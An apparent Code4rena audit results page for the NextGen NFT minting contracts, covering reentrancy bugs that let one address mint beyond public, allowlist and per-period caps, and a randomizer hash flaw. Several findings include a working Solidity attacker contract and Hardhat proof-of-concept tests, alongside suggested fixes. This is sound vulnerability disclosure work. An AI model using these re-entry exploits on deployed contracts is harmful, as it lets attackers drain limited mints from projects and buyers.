NextGen - PetarTolev's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 28/243

Findings: 2

Award: $504.54

🌟 Selected for report: 0

πŸš€ Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L231

Vulnerability details

Impact

A malicious user can re-enter the MinterContract.mint function and mint more tokens than the specified _maxCollectionPurchases limit.

This issue is outlined in the README as follows:

Consider ways in which an address during the public phase can mint more tokens compared to what its allowed to mint (maxCollectionPurchases)

Vulnerability details

The MinterContract.mint function is used by users to mint their tokens. Users not included in the allowList can call this function and mint tokens if the block.timestamp falls within the specified range (publicStartTime to publicEndTime).

View MinterContract.mint

} else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
  phase = 2;
  require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens");
  require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
  mintingAddress = msg.sender;
  tokData = '"public"';

Several requirements must be met during token minting:

  1. The number of tokens the user mints must be less than or equal to the max allowance in public sale - require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens");

  2. The sum of previously minted tokens by the user plus the currently tokens minted must be less than or equal to the max allowance in public sale - require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");

  3. The current token minted index must be less than or equal to the max index id of a collection - require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");

After satisfying these requirements, the _numberOfTokens will be minted using the NextGenCore.mint function.

View MinterContract.mint

for(uint256 i = 0; i < _numberOfTokens; i++) {
  uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
  gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);
}

Within the NextGenCore.mint function, the _mintProcessing function is called.

View NextGenCore.mint

_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
  tokenData[_mintIndex] = _tokenData;
  collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
  tokenIdsToCollectionIds[_mintIndex] = _collectionID;
  _safeMint(_recipient, _mintIndex);
}

Following this, the ERC721._safeMint function is invoked, wherein the NFT is minted, and the user's callback onERC721Received is triggered.

View ERC721._safeMint

function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
  _mint(to, tokenId);
  require(
    _checkOnERC721Received(address(0), to, tokenId, data),
    "ERC721: transfer to non ERC721Receiver implementer"
  );
}

Due to the user's callback (onERC721Received) called in _checkOnERC721Received, a malicious user can re-enter the MinterContract.mint function, before the tokensMinterPerAddress is updated in NextGenCore.mint

View NextGenCore.mint

_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
if (phase == 1) {
    tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
} else {
@>  tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
}

Allowing them to bypass the maximum limit per address check in MinterContract.mint.

View MinterContract.mint

require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
function retrieveTokensMintedPublicPerAddress(uint256 _collectionID, address _address) external view returns(uint256) {
  return (tokensMintedPerAddress[_collectionID][_address]);
}

This allows the user to mint additional tokens exceeding the max allowance in the public sale.

function viewMaxAllowance(uint256 _collectionID) external view returns (uint256) {
  return(collectionAdditionalData[_collectionID].maxCollectionPurchases);
}

Proof of Concept

To execute the POC, you will need to utilize the following Attacker contract. Place this contract in smart-contracts/Attacker.sol.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./IERC721Receiver.sol";
import "./INextGenCore.sol";

interface IMinter {
    function mint(
        uint256 _collectionID,
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        address _mintTo,
        bytes32[] calldata merkleProof,
        address _delegator,
        uint256 _saltfun_o
    ) external payable;

    function getPrice(uint256 _collectionId) external view returns (uint256);
}

contract Attacker is IERC721Receiver {
    IMinter minter;
    INextGenCore core;
    uint256 collectionId;
    uint256 mintedOver = 0;

    constructor(address _minter, address _core, uint256 _collectionId) {
        minter = IMinter(_minter);
        core = INextGenCore(_core);
        collectionId = _collectionId;
    }

    function mint() public {
        bytes32[] memory proof = new bytes32[](0);

        minter.mint{value: minter.getPrice(collectionId)}(
            collectionId,
            1,
            0,
            '{"tdh": "100"}',
            address(this),
            proof,
            address(this),
            2
        );
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        if (
            core.retrieveTokensMintedPublicPerAddress(1, address(this)) ==
            core.viewMaxAllowance(1) - 1 &&
            mintedOver < 10
        ) {
            mintedOver++;
            mint();
        }

        return this.onERC721Received.selector;
    }
}

Next, insert the following test case into test/nextGen.test.js and execute it using the command hardhat test ./test/nextGen.test.js --grep POC

describe("POC", function () {
  const COLLECTION_ID = 1;
  const MAX_COLLECTION_PURCHASES = 2;

  beforeEach(async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment));

    //Verify Fixture
    expect(await contracts.hhAdmin.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhCore.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhDelegation.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhMinter.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhRandomizer.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhRandoms.getAddress()).to.not.equal(ethers.ZeroAddress);

    //Create a collection & Set Data
    await contracts.hhCore.createCollection(
      "Test Collection 1",
      "Artist 1",
      "For testing",
      "www.test.com",
      "CCO",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["desc"]
    );
    await contracts.hhAdmin.registerCollectionAdmin(1, signers.addr1.address, true);
    await contracts.hhCore.connect(signers.addr1).setCollectionData(
      COLLECTION_ID, // _collectionID
      signers.addr1.address, // _collectionArtistAddress
      MAX_COLLECTION_PURCHASES, // _maxCollectionPurchases
      10000, // _collectionTotalSupply
      0 // _setFinalSupplyTimeAfterMint
    );

    //Set Minter Contract
    await contracts.hhCore.addMinterContract(contracts.hhMinter);

    //Set Randomizer Contract
    await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);

    //Set Collection Costs and Phases
    await contracts.hhMinter.setCollectionCosts(
      COLLECTION_ID, // _collectionID
      0, // _collectionMintCost
      0, // _collectionEndMintCost
      0, // _rate
      0, // _timePeriod
      1, // _salesOptions
      "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
    );
    await contracts.hhMinter.setCollectionPhases(
      COLLECTION_ID, // _collectionID
      1696931278, // _allowlistStartTime
      1696931278, // _allowlistEndTime
      1696931278, // _publicStartTime
      1796931278, // _publicEndTime
      "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
    );
  });

  context("Minting", () => {
    const mintTokenFromCollection = async (user, collection) => {
      return await contracts.hhMinter.connect(user).mint(
        collection, // _collectionID
        1, // _numberOfTokens
        0, // _maxAllowance
        '{"tdh": "100"}', // _tokenData
        user.address, // _mintTo
        [], // _merkleRoot
        user.address, // _delegator
        2, //_varg0
        { value: await contracts.hhMinter.getPrice(collection) }
      );
    };

    it("The user cannot mint beyond the limit", async function () {
      expect(parseInt(await contracts.hhCore.viewMaxAllowance(COLLECTION_ID))).to.equal(MAX_COLLECTION_PURCHASES);
      expect(
        parseInt(await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, signers.addr2.address))
      ).to.equal(0);

      await mintTokenFromCollection(signers.addr2, COLLECTION_ID);
      await mintTokenFromCollection(signers.addr2, COLLECTION_ID);

      expect(
        parseInt(await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, signers.addr2.address))
      ).to.equal(2);

      await expect(mintTokenFromCollection(signers.addr2, COLLECTION_ID)).to.be.revertedWith("Max");
    });

    it("Due to reentrancy, the user can mint tokens beyond the limit", async function () {
      const attackerFactory = await ethers.getContractFactory("smart-contracts/Attacker.sol:Attacker");
      const attacker = await attackerFactory.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        COLLECTION_ID
      );
      const attackerAddress = await attacker.getAddress();

      expect(parseInt(await contracts.hhCore.viewMaxAllowance(COLLECTION_ID))).to.equal(MAX_COLLECTION_PURCHASES);
      expect(
        parseInt(await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, attackerAddress))
      ).to.equal(0);

      await attacker.mint();

      await attacker.mint();

      const mintedByTheAttacker = parseInt(
        await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, attackerAddress)
      );
      const maxCollectionPurchases = parseInt(await contracts.hhCore.viewMaxAllowance(COLLECTION_ID));

      expect(mintedByTheAttacker).to.be.gt(maxCollectionPurchases);

      console.log(
        `The attacker has minted: '${mintedByTheAttacker}' tokens, while the max limit of tokens for collection '${COLLECTION_ID}' is '${maxCollectionPurchases}'`
      );
    });
  });
});

Tools Used

Manual Review

You have two options for addressing the issue:

  1. For the MinterContract.mint function use OpenZeppelin's ReentrancyGuard along with the nonReentrant modifier to prevent reentrancy.
-function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
+function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable nonReentrant {
  1. Increment tokensMintedPerAddress before the _mintProcessing invocation
if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
+   if (phase == 1) {
+       tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
+   } else {
+       tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
+   }
    _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
-   if (phase == 1) {
-       tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
-   } else {
-       tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
-   }
}

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-17T14:10:35Z

141345 marked the issue as duplicate of #51

#1 - c4-pre-sort

2023-11-26T14:03:19Z

141345 marked the issue as duplicate of #1742

#2 - c4-judge

2023-12-08T16:25:10Z

alex-ppg marked the issue as satisfactory

#3 - c4-judge

2023-12-08T16:25:41Z

alex-ppg marked the issue as partial-50

#4 - c4-judge

2023-12-08T19:17:10Z

alex-ppg marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L193

Vulnerability details

Impact

A malicious user can exploit the MinterContract.mint function to mint more tokens than the specified _maxCollectionPurchases limit, if they are on the allowlist.

This issue is outlined in the README as follows:

Consider ways in which an allowlist address can mint more tokens than what it is allowed to mint.

Proof of Concept

The MinterContract.mint function allows users on the allowlist to mint tokens within the specified time range (allowlistStartTime to allowlistEndTime). The relevant code snippet is as follows:

View MinterContract.mint

if (block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime) {
    phase = 1;
    bytes32 node;
    if (_delegator != 0x0000000000000000000000000000000000000000) {
        ...
    } else {
        node = keccak256(abi.encodePacked(msg.sender, _maxAllowance, tokData));
        require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");
        mintingAddress = msg.sender;
    }
    require(MerkleProof.verifyCalldata(merkleProof, collectionPhases[col].merkleRoot, node), 'invalid proof');

If the _delegator is not used, the following code block is executed:

node = keccak256(abi.encodePacked(msg.sender, _maxAllowance, tokData));
require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");
mintingAddress = msg.sender;

Assuming the user is on the allowlist and the merkleRoot is valid, the following conditions are checked:

  1. _maxAllowance must be greater than or equal to the current tokens minted plus tokens minted per address during AL - require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");

  2. Validity of the Merkle proof (assumed true) - require(MerkleProof.verifyCalldata(merkleProof, collectionPhases[col].merkleRoot, node), 'invalid proof');

  3. The current token minted index must be less than or equal to the max index id of a collection - require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply");

After meeting these requirements, the _numberOfTokens will be minted using the NextGenCore.mint function.

View MinterContract.mint

for(uint256 i = 0; i < _numberOfTokens; i++) {
  uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
  gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);
}

Within the NextGenCore.mint function, the _mintProcessing function is called:

View NextGenCore.mint

_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
  tokenData[_mintIndex] = _tokenData;
  collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
  tokenIdsToCollectionIds[_mintIndex] = _collectionID;
  _safeMint(_recipient, _mintIndex);
}

Following this, the ERC721._safeMint function is invoked, wherein the NFT is minted, and the user's callback onERC721Received is triggered.

View ERC721._safeMint

function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
  _mint(to, tokenId);
  require(
    _checkOnERC721Received(address(0), to, tokenId, data),
    "ERC721: transfer to non ERC721Receiver implementer"
  );
}

Due to the user's callback (onERC721Received) called in _checkOnERC721Received, a malicious user can re-enter the MinterContract.mint function, before the tokensMintedAllowlistAddress is updated in NextGenCore.mint

View NextGenCore.mint

_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
if (phase == 1) {
@>  tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
} else {
    tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
}

Allowing them to bypass the tokens minted per address during AL check in MinterContract.mint.

View MinterContract.mint

require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");
function retrieveTokensMintedALPerAddress(uint256 _collectionID, address _address) external view returns(uint256) {
    return (tokensMintedAllowlistAddress[_collectionID][_address]);
}

This allows the user to mint additional tokens exceeding the max allowance set in the merkle root.

function viewMaxAllowance(uint256 _collectionID) external view returns (uint256) {
  return(collectionAdditionalData[_collectionID].maxCollectionPurchases);
}

Tools Used

Manual Review

You have two options for addressing the issue:

  1. For the MinterContract.mint function use OpenZeppelin's ReentrancyGuard along with the nonReentrant modifier to prevent reentrancy.
-function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
+function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable nonReentrant {
  1. Increment tokensMintedPerAddress before the _mintProcessing invocation
if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
+   if (phase == 1) {
+       tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
+   } else {
+       tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
+   }
    _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
-   if (phase == 1) {
-       tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
-   } else {
-       tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
-   }
}

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-17T14:07:25Z

141345 marked the issue as duplicate of #51

#1 - c4-pre-sort

2023-11-26T14:03:54Z

141345 marked the issue as duplicate of #1742

#2 - c4-judge

2023-12-08T16:21:28Z

alex-ppg marked the issue as satisfactory

#3 - c4-judge

2023-12-08T16:21:46Z

alex-ppg marked the issue as partial-50

#4 - c4-judge

2023-12-08T19:17:06Z

alex-ppg marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L193

Vulnerability details

Impact

A malicious user can re-enter the MinterContract.mint function and mint more tokens than the limit of 1 token during each time period

This issue is outlined in the README as follows:

Consider ways in which more than 1 token can be minted at the same time period for the Periodic Sale Model.

Vulnerability details

The MinterContract.mint function is used by users to mint their tokens.

View MinterContract.mint

for(uint256 i = 0; i < _numberOfTokens; i++) {
  uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
  gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);
}

Within the NextGenCore.mint function, the _mintProcessing function is called.

View NextGenCore.mint

_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
  tokenData[_mintIndex] = _tokenData;
  collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
  tokenIdsToCollectionIds[_mintIndex] = _collectionID;
  _safeMint(_recipient, _mintIndex);
}

Following this, the ERC721._safeMint function is invoked, wherein the NFT is minted, and the user's callback onERC721Received is triggered.

View ERC721._safeMint

function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
  _mint(to, tokenId);
  require(
    _checkOnERC721Received(address(0), to, tokenId, data),
    "ERC721: transfer to non ERC721Receiver implementer"
  );
}

Due to the user's callback (onERC721Received) called in _checkOnERC721Received, a malicious user can re-enter the MinterContract.mint function, before the tokensMinterPerAddress is updated in NextGenCore.mint

View NextGenCore.mint

_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
if (phase == 1) {
    tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
} else {
@>  tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
}

Allowing them to bypass the maximum limit per address check in MinterContract.mint.

View MinterContract.mint

require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
function retrieveTokensMintedPublicPerAddress(uint256 _collectionID, address _address) external view returns(uint256) {
  return (tokensMintedPerAddress[_collectionID][_address]);
}

This allows the user to mint additional tokens exceeding the max allowance in the public sale.

function viewMaxAllowance(uint256 _collectionID) external view returns (uint256) {
  return(collectionAdditionalData[_collectionID].maxCollectionPurchases);
}

If the salesOption is set to 3, the user should be limited to minting only one token per period. However, due to the reentrancy issue described above, the user is able to mint multiple tokens.

The timePeriod is set by the admin in setCollectionCosts.

Proof of Concept

To execute the POC, you will need to utilize the following Attacker contract. Place this contract in smart-contracts/Attacker.sol.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./IERC721Receiver.sol";
import "./INextGenCore.sol";

interface IMinter {
    function mint(
        uint256 _collectionID,
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        address _mintTo,
        bytes32[] calldata merkleProof,
        address _delegator,
        uint256 _saltfun_o
    ) external payable;

    function getPrice(uint256 _collectionId) external view returns (uint256);
}

contract Attacker is IERC721Receiver {
    IMinter minter;
    INextGenCore core;
    uint256 collectionId;
    uint256 mintedOver = 0;

    constructor(address _minter, address _core, uint256 _collectionId) {
        minter = IMinter(_minter);
        core = INextGenCore(_core);
        collectionId = _collectionId;
    }

    function mint() public {
        bytes32[] memory proof = new bytes32[](0);

        minter.mint{value: minter.getPrice(collectionId)}(
            collectionId,
            1,
            0,
            '{"tdh": "100"}',
            address(this),
            proof,
            address(this),
            2
        );
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        if (mintedOver < 10) {
            mintedOver++;
            mint();
        }

        return this.onERC721Received.selector;
    }
}

Next, insert the following test case into test/nextGen.test.js and execute it using the command hardhat test ./test/nextGen.test.js --grep 'Mint by period'

describe("Mint by period", function () {
  const COLLECTION_ID = 1;
  const MAX_COLLECTION_PURCHASES = 10;
  const nowTimestamp = Math.floor(Date.now() / 1000);

  beforeEach(async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment));

    //Verify Fixture
    expect(await contracts.hhAdmin.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhCore.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhDelegation.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhMinter.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhRandomizer.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhRandoms.getAddress()).to.not.equal(ethers.ZeroAddress);

    //Create a collection & Set Data
    await contracts.hhCore.createCollection(
      "Test Collection 1",
      "Artist 1",
      "For testing",
      "www.test.com",
      "CCO",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["desc"]
    );
    await contracts.hhAdmin.registerCollectionAdmin(1, signers.addr1.address, true);
    await contracts.hhCore.connect(signers.addr1).setCollectionData(
      COLLECTION_ID, // _collectionID
      signers.addr1.address, // _collectionArtistAddress
      MAX_COLLECTION_PURCHASES, // _maxCollectionPurchases
      20, // _collectionTotalSupply
      0 // _setFinalSupplyTimeAfterMint
    );

    //Set Minter Contract
    await contracts.hhCore.addMinterContract(contracts.hhMinter);

    //Set Randomizer Contract
    await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);

    //Set Collection Costs and Phases
    await contracts.hhMinter.setCollectionCosts(
      COLLECTION_ID, // _collectionID
      0, // _collectionMintCost
      0, // _collectionEndMintCost
      0, // _rate
      86400, // _timePeriod
      3, // _salesOptions
      "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
    );
    await contracts.hhMinter.setCollectionPhases(
      COLLECTION_ID, // _collectionID
      nowTimestamp, // _allowlistStartTime
      nowTimestamp + 1, // _allowlistEndTime
      1999999999, // _publicStartTime
      3000000000, // _publicEndTime
      "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
    );
  });

  context("Minting", () => {
    it("Due to reentrancy, the user can mint more than 1 tokens per period", async function () {
      const attackerFactory = await ethers.getContractFactory("smart-contracts/Attacker.sol:Attacker");
      const attacker = await attackerFactory.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        COLLECTION_ID
      );
      const attackerAddress = await attacker.getAddress();

      expect(parseInt(await contracts.hhCore.viewMaxAllowance(COLLECTION_ID))).to.equal(MAX_COLLECTION_PURCHASES);
      expect(
        parseInt(await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, attackerAddress))
      ).to.equal(0);

      await ethers.provider.send("evm_setNextBlockTimestamp", [2000000000]);
      await ethers.provider.send("evm_mine");

      await attacker.mint();

      const mintedByTheAttacker = parseInt(
        await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, attackerAddress)
      );
      const maxCollectionPurchases = parseInt(await contracts.hhCore.viewMaxAllowance(COLLECTION_ID));

      console.log(
        `The attacker has minted: '${mintedByTheAttacker}' tokens, while the max limit of tokens for collection '${COLLECTION_ID}' is '${maxCollectionPurchases}'`
      );
    });
  });
});

Tools Used

Manual Review

You have two options for addressing the issue:

  1. For the MinterContract.mint function use OpenZeppelin's ReentrancyGuard along with the nonReentrant modifier to prevent reentrancy.
-function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
+function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable nonReentrant {
  1. Increment tokensMintedPerAddress before the _mintProcessing invocation
if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
+   if (phase == 1) {
+       tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
+   } else {
+       tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
+   }
    _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
-   if (phase == 1) {
-       tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
-   } else {
-       tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
-   }
}

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-17T14:01:50Z

141345 marked the issue as duplicate of #51

#1 - c4-pre-sort

2023-11-26T14:04:12Z

141345 marked the issue as duplicate of #1742

#2 - c4-judge

2023-12-08T16:17:04Z

alex-ppg marked the issue as satisfactory

#3 - c4-judge

2023-12-08T16:17:12Z

alex-ppg marked the issue as partial-50

#4 - c4-judge

2023-12-08T19:17:02Z

alex-ppg marked the issue as satisfactory

Findings Information

🌟 Selected for report: Haipls

Also found by: 00xSEV, Draiakoo, PetarTolev, Udsen, VAD37, ast3ros, gumgumzum, r0ck3tz

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sponsor confirmed
sufficient quality report
duplicate-1627

Awards

504.3946 USDC - $504.39

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerVRF.sol#L66 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/RandomizerRNG.sol#L49

Vulnerability details

Impact

The RandomizerVRF and RandomizerRNG contracts will not return random hashes, instead, they will only return the generated random number. This results in non-unique/duplicated tokenHash values and non-randomly generated NFTs.

Proof of Concept

The codeflow for minting a token is as follows:

  1. The user calls MinterContract.mint.

  2. MinterContract calls NextGenCore.mint.

  3. Internally, NextGenCore._mintProcessing is called.

src: NextGenCore._mintProcessing

function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
    tokenData[_mintIndex] = _tokenData;
    collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
    tokenIdsToCollectionIds[_mintIndex] = _collectionID;
    _safeMint(_recipient, _mintIndex);
}
  1. The source of randomness is requested from the specified randomizer (RandomizerVRF or RandomizerRNG) contract for this collection.
collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
  1. This call triggers the requestRandomWords function for the specified randomizer, which makes a request to the VRF service.

  2. After some blocks, the VRF service returns the random value by calling the callback fulfillRandomWords function.

  3. The fulfillRandomWords function calls the NextGenCore.setTokenHash and passes the _collectionId, _mintIndex (_tokenId), and _hash for the token. Both Randomizer contracts have similar fulfillRandomWords functions with identical ways to generate the hash.

  • RandomizerRNG
function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override {
    gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(abi.encodePacked(numbers,requestToToken[id])));
}
  • RandomizerVRF
function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override {
    gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[_requestId]], requestToToken[_requestId], bytes32(abi.encodePacked(_randomWords,requestToToken[_requestId])));
    emit RequestFulfilled(_requestId, _randomWords);
}

The token hash is set for the specified token without any validations. The only validation is to check if the token hash is not already set. src: NextGenCore.setTokenHash

function setTokenHash(uint256 _collectionID, uint256 _mintIndex, bytes32 _hash) external {
    require(msg.sender == collectionAdditionalData[_collectionID].randomizerContract);
    require(tokenToHash[_mintIndex] == 0x0000000000000000000000000000000000000000000000000000000000000000);
    tokenToHash[_mintIndex] = _hash;
}

